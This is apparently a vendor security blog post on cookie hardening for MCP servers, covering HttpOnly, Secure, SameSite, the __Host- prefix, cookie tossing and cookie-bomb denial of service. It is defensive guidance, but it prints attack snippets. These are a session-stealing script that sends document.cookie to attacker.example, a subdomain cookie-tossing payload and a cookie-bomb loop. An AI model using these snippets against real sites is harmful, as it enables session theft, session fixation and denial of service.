Blog · MCP Server Security
MCP server cookie security — HttpOnly, SameSite, __Host- prefix, cookie tossing, and bomb DoS
Session cookie misconfiguration is the single most common critical finding in SkillAudit MCP server assessments. A session cookie without HttpOnly is one XSS vector away from full session theft. Missing Secure flag exposes tokens on any network path. SameSite misconfig opens CSRF. And the __Host- prefix — absent from most implementations — is the only defense against cookie tossing via subdomain compromise. This guide covers every attribute, its threat model, interaction with OAuth flows, and the edge cases that trip up MCP server implementers.
HttpOnly — preventing XSS session theft
The HttpOnly attribute prevents document.cookie from reading the cookie value in JavaScript. An injected script — whether from stored XSS in tool output, a reflected parameter, or a third-party script supply chain compromise — cannot read the session token if it is HttpOnly. The cookie is sent automatically with every HTTP request but is invisible to JavaScript executing in the page context.
// Correct session cookie — HttpOnly blocks document.cookie access
// Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...; HttpOnly; Secure; SameSite=Lax; Path=/
// DANGEROUS: missing HttpOnly — XSS can steal session immediately
// Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...
// What an attacker does without HttpOnly (any injected script):
const stolen = document.cookie
.split(';')
.find(c => c.trim().startsWith('session='))
?.split('=')[1];
fetch('https://attacker.example/collect?t=' + stolen);
// Express.js: correct session cookie configuration
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // Cannot be read by document.cookie
secure: true, // Only sent over HTTPS
sameSite: 'lax', // CSRF protection for most cases
maxAge: 3600 * 1000 // 1 hour session expiry
}
}));
HttpOnly does not prevent CSRF — the cookie is still sent automatically with cross-site requests. Its only role is blocking JavaScript-level session token exfiltration. It is not a substitute for SameSite or CSRF tokens.
Secure — preventing network eavesdropping
The Secure attribute instructs the browser to only include the cookie in HTTPS requests. Without Secure, the session token is transmitted in cleartext over HTTP, including on captive portal networks, coffee shop WiFi, and any network path where a passive observer or active MitM is present. MCP servers that expose both HTTP and HTTPS endpoints (e.g., HTTP for health checks, HTTPS for the application) are particularly vulnerable if Secure is missing — a single HTTP request transmits the token in the clear.
# Nginx: enforce HTTPS and HSTS to complement Secure cookie flag
server {
listen 80;
server_name skillaudit.dev;
return 301 https://$host$request_uri; # Redirect all HTTP to HTTPS
}
server {
listen 443 ssl;
server_name skillaudit.dev;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# The HSTS header ensures browsers never send HTTP requests to this domain,
# complementing the Secure cookie flag by preventing HTTP requests entirely.
}
HSTS is not a substitute for Secure flag: HSTS prevents browsers from making HTTP requests, but only after the HSTS policy is received. On first visit, or when the HSTS cache is cleared, an HTTP request is possible. The Secure cookie flag provides defense-in-depth by refusing to send the cookie even if an HTTP request somehow occurs.
SameSite — CSRF protection with OAuth compatibility tradeoffs
The SameSite attribute controls whether the browser sends the cookie on cross-site requests. Three values exist, each with a distinct threat model and compatibility tradeoff.
SameSite=Strict blocks the cookie on all cross-site requests — including top-level GET navigations initiated from an external page. If a user clicks a link to skillaudit.dev/audits/123 from another site, the browser does not include the Strict cookie in the initial navigation request. This means the user appears logged out on first load, then logged in after the page renders and the origin becomes same-site. This completely breaks OAuth return flows: the identity provider redirects back to skillaudit.dev/oauth/callback?code=...&state=... — a top-level GET navigation from the IdP origin — but the session cookie used to validate the CSRF state parameter is not sent because it is Strict.
SameSite=Lax is the default in modern browsers when no SameSite attribute is set. It blocks cross-site subresource requests (fetch, XHR, img src, form POST) but allows top-level GET navigations. OAuth redirects work because the callback is a top-level GET. CSRF via cross-site form POST is blocked. The remaining risk is CSRF via cross-site GET requests that trigger state-changing operations on the server — these are blocked by convention ("GET should be idempotent") but not by browser enforcement.
SameSite=None; Secure sends the cookie on all cross-site requests including subresources. Required for legitimate third-party cookie use cases: MCP servers embedded in iframes on other origins, API calls from a different frontend origin. Without additional CSRF validation (e.g., Origin header check, double-submit token), SameSite=None provides no CSRF protection. Third-party cookies are being deprecated by Chrome's Privacy Sandbox initiative — SameSite=None cookies will require the Partitioned attribute to continue working in cross-site contexts.
// SameSite comparison table in practice
// OAuth-compatible session cookie (most MCP servers should use this)
// Set-Cookie: session=TOKEN; HttpOnly; Secure; SameSite=Lax; Path=/
// Maximum CSRF protection — breaks OAuth callback (use separate CSRF cookie)
// Set-Cookie: session=TOKEN; HttpOnly; Secure; SameSite=Strict; Path=/
// Third-party iframe use — requires additional CSRF validation
// Set-Cookie: session=TOKEN; HttpOnly; Secure; SameSite=None; Path=/
// DANGEROUS: no SameSite attribute in older frameworks (pre-2020 defaults)
// Set-Cookie: session=TOKEN; HttpOnly; Secure
// Browser default was "None" before Chrome 80; now defaults to "Lax"
// but explicit declaration is required for correctness guarantees
// Checking SameSite in server response (Node.js fetch example)
const res = await fetch('https://skillaudit.dev/api/profile', {
credentials: 'include' // Sends SameSite=Lax cookies on same-origin, not cross-site
});
OAuth pattern: Use SameSite=Lax for the session cookie and validate the OAuth state parameter server-side. The state is stored in the session (or a separate SameSite=Lax cookie) before redirecting to the IdP. On callback, the state is validated before establishing the session — this protects against CSRF on the OAuth flow even with Lax.
__Host- prefix — blocking cookie tossing via subdomain
Cookie tossing is an attack where an adversary with control of a subdomain (e.g., via XSS on user-content.skillaudit.dev, a misconfigured DNS record, or a compromised tenant) sets a cookie that the browser sends to the parent domain. By default, a cookie set with Domain=skillaudit.dev is sent to all subdomains — and a cookie set by a subdomain with Domain=skillaudit.dev is also sent to the parent domain in some browser implementations. An attacker can pre-set a session cookie with a known value, then wait for the victim to authenticate — the server may accept the attacker's cookie value as the session identifier, completing session fixation.
The __Host- cookie name prefix enforces four constraints simultaneously:
- The cookie must be set with the
Secureattribute - The cookie must not have a
Domainattribute (host-only binding) - The cookie must have
Path=/ - The cookie name must start with
__Host-
A cookie set by a subdomain cannot satisfy the "no Domain attribute, Secure, Path=/" constraints for the parent domain, so it cannot shadow or override a __Host- cookie set by the parent.
# __Host- prefix: maximum protection against cookie tossing
# Correct:
Set-Cookie: __Host-session=TOKEN; Secure; Path=/; HttpOnly; SameSite=Lax
# Browser enforces: Secure=yes, no Domain attribute, Path=/
# WRONG: Domain attribute present — browser rejects __Host- prefix
# Set-Cookie: __Host-session=TOKEN; Secure; Domain=skillaudit.dev; Path=/; HttpOnly
# WRONG: missing Secure — browser rejects __Host- prefix
# Set-Cookie: __Host-session=TOKEN; Path=/; HttpOnly
# WRONG: Path is not / — browser rejects __Host- prefix
# Set-Cookie: __Host-session=TOKEN; Secure; Path=/app/; HttpOnly
# __Secure- prefix: weaker — only requires Secure attribute
# Set-Cookie: __Secure-session=TOKEN; Secure; Domain=skillaudit.dev; Path=/; HttpOnly
# Still prevents HTTP-only subdomain from setting the cookie,
# but does not prevent same-protocol subdomain with Domain attribute from tossing.
# Reading __Host- cookie in Express.js
// req.cookies['__Host-session'] — note the prefix is part of the name
app.get('/api/profile', (req, res) => {
const sessionId = req.cookies['__Host-session'];
if (!sessionId) return res.status(401).json({ error: 'Unauthorized' });
// validate sessionId against session store
});
Cookie tossing attack — detailed scenario
Cookie tossing exploits the fact that browsers send all cookies matching a domain, including those set by subdomains, and that the server cannot distinguish which subdomain set a given cookie. Here is a concrete attack against an MCP server at api.skillaudit.dev:
// Attacker controls: xss-vulnerable.skillaudit.dev (e.g., user content subdomain) // Target: api.skillaudit.dev (MCP API server) // Step 1: Attacker's payload executes on xss-vulnerable.skillaudit.dev // (via stored XSS, JSONP injection, or misconfigured CORS on the subdomain) document.cookie = 'session=ATTACKER_KNOWN_VALUE; Domain=.skillaudit.dev; Path=/; Secure'; // In some browsers, this cookie (set by a subdomain with explicit Domain=.skillaudit.dev) // is sent to api.skillaudit.dev along with any legitimate session cookie. // Step 2: Victim visits skillaudit.dev and logs in // Browser sends both cookies to api.skillaudit.dev: // Cookie: session=ATTACKER_KNOWN_VALUE; session=LEGITIMATE_VALUE // (order and precedence are implementation-defined) // Step 3: If server uses the first cookie it sees, attacker controls the session. // Attacker already knows ATTACKER_KNOWN_VALUE — they set it. // This completes session fixation. // Defense: __Host- prefix prevents step 1. // document.cookie = '__Host-session=...; Domain=.skillaudit.dev; ...' // Browser REJECTS this — __Host- prefix disallows Domain attribute. // Subdomain cannot set or shadow __Host- cookies for parent domain.
Cookie bomb — DoS via oversized cookie headers
Every HTTP request to a domain includes all matching cookies in the Cookie request header. Web servers and proxies enforce limits on request header size: Nginx default is 8KB per header field and 8KB total; Apache default is 8KB; Caddy uses a 1MB limit. When the total size of cookies for a domain exceeds these limits, the server returns a 431 (Request Header Fields Too Large) or 400 (Bad Request) error on every subsequent request — a persistent denial of service that persists until the cookies are cleared.
// Cookie bomb via document.cookie (if XSS exists on any same-domain page)
// or via Set-Cookie from a compromised endpoint
// An attacker with XSS on any page under skillaudit.dev can execute:
const fill = 'A'.repeat(4096);
for (let i = 0; i < 20; i++) {
document.cookie = `bomb${i}=${fill}; Domain=skillaudit.dev; Path=/; SameSite=None`;
}
// Total cookie size: ~80KB — far exceeds Nginx default 8KB limit
// All subsequent requests to skillaudit.dev return 431 until user clears cookies
// Defense: server-side cookie size enforcement in Nginx
// nginx.conf
// large_client_header_buffers 4 16k; // Increase buffer (NOT the fix — just delays DoS)
// Actual fix: Content Security Policy blocks inline scripts (prevents XSS-based bombing)
// + limit Set-Cookie size in application layer:
app.use((req, res, next) => {
const origSetHeader = res.setHeader.bind(res);
res.setHeader = (name, value) => {
if (name.toLowerCase() === 'set-cookie') {
const cookies = Array.isArray(value) ? value : [value];
for (const c of cookies) {
if (c.length > 4096) {
console.error('SECURITY: Oversized Set-Cookie rejected', c.substring(0, 50));
return; // Do not set oversized cookie
}
}
}
origSetHeader(name, value);
};
next();
});
Cookie bombs are persistent: Unlike a DoS that stops when attack traffic stops, a cookie bomb persists in the victim's browser until they manually clear site data. If the attacker sets the bomb via a stored XSS vector that fires every time any page on the domain loads, the victim cannot break the loop without clearing all cookies for the domain from browser settings.
Partitioned cookies (CHIPS) — surviving third-party cookie deprecation
The Partitioned cookie attribute (Cookies Having Independent Partitioned State — CHIPS) is the replacement for unpartitioned third-party cookies being deprecated by Chrome's Privacy Sandbox. A partitioned cookie is keyed by both the cookie's origin and the top-level site — so a cookie set in an iframe of app.example.com is distinct from the same cookie set in an iframe of other.example.com. Partitioned cookies require __Host- prefix and Secure.
# Partitioned cookie for MCP server embedded in third-party contexts # Works in cross-site iframe contexts after third-party cookie deprecation Set-Cookie: __Host-mcp-session=TOKEN; Secure; Path=/; SameSite=None; Partitioned; HttpOnly # Without Partitioned: cross-site iframe cookie will be blocked by third-party cookie # restrictions in Chrome 3PCD rollout (graduated 2024-2025) # With Partitioned: cookie is scoped to the (top-level-site, cookie-domain) pair # A user who has the MCP server embedded in two different parent sites # gets two separate cookie jars — preventing cross-site tracking # Checking Partitioned support in your MCP server response headers curl -I https://skillaudit.dev/mcp/session | grep -i set-cookie # Should show: __Host-mcp-session=...; Secure; Path=/; SameSite=None; Partitioned; HttpOnly
Cookie attribute security matrix
| Attribute / Pattern | Protects against | Does not protect against | OAuth compatible |
|---|---|---|---|
HttpOnly |
XSS-based session token theft via document.cookie | CSRF, network eavesdropping, subdomain tossing | Yes |
Secure |
Network eavesdropping on HTTP connections | XSS, CSRF, subdomain attacks | Yes |
SameSite=Lax |
Cross-site POST CSRF, subresource injection | Cross-site GET with state-changing server handler | Yes (OAuth redirects are top-level GET) |
SameSite=Strict |
All cross-site CSRF including top-level GET navigation | XSS within the origin, subdomain tossing | No (breaks OAuth callback redirects) |
SameSite=None; Secure |
Nothing (sent cross-site without CSRF protection) | CSRF — requires separate CSRF token validation | Yes, but requires additional CSRF validation |
__Host- prefix |
Cookie tossing via subdomain; Domain attribute injection | XSS on the host itself, CSRF | Yes |
__Secure- prefix |
HTTP-only subdomain cookie tossing | HTTPS subdomain tossing with Domain attribute | Yes |
Partitioned (CHIPS) |
Cross-site tracking via shared third-party cookies | XSS, CSRF, session theft | Yes (for iframe embedding contexts) |
Recommended cookie configuration for MCP servers
# Production MCP server session cookie (covers most deployments) Set-Cookie: __Host-session=TOKEN; Secure; HttpOnly; SameSite=Lax; Path=/ # For MCP servers that need to function in third-party iframe contexts (post-3PCD) Set-Cookie: __Host-mcp-embed=TOKEN; Secure; HttpOnly; SameSite=None; Path=/; Partitioned # Security checklist: # [x] HttpOnly on all session/auth cookies # [x] Secure on all cookies # [x] SameSite=Lax minimum (Strict where OAuth flow allows) # [x] __Host- prefix on session cookies (prevents subdomain tossing) # [x] Explicit Path=/ (required by __Host- prefix enforcement) # [x] maxAge/Expires set (no session-only cookies for long-lived auth) # [x] Cookie size validation in middleware (prevents bomb DoS) # [x] No session tokens in URL parameters or query strings
SkillAudit findings for cookie security
SkillAudit scans all Set-Cookie response headers across login, session refresh, OAuth callback, and API endpoints. The scanner tests for missing attributes, subdomain tossing susceptibility, and cookie size controls. Findings are categorized by exploitability in the context of MCP tool output rendering.
HttpOnly attribute. Any XSS vector — including MCP tool output rendered unsanitized — can immediately exfiltrate the session token via document.cookie.
Secure attribute and are transmitted in cleartext over HTTP. Any passive observer on the network path — including on captive portal networks — captures the session token.
SameSite=None are sent on all cross-site requests. The application does not validate the Origin header or use a double-submit CSRF token, leaving all state-changing endpoints vulnerable to cross-site request forgery.
__Host- prefix. An attacker with control of any subdomain of the application's registered domain can set a session cookie that shadows or overrides the legitimate session, enabling session fixation or session tossing.
Set-Cookie responses or incoming Cookie headers. An attacker with XSS on any page in the domain can set oversized cookies causing persistent 431/400 errors on all subsequent requests until the victim clears browser data.
See also: MCP server CORS credential security covers how credentials: 'include' and Access-Control-Allow-Credentials interact with cookie-based authentication. MCP server CSRF security covers CSRF token patterns, double-submit cookies, and the Synchronizer Token Pattern for MCP server API endpoints.
Audit your MCP server's cookie configuration with SkillAudit. Our scanner checks every Set-Cookie header across all endpoints, tests subdomain tossing susceptibility, and validates that __Host- prefix constraints are correctly enforced. View pricing and start a free scan.